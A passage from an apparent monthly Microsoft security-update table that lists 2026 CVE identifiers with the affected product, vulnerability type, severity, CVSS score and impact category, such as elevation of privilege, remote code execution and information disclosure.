Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  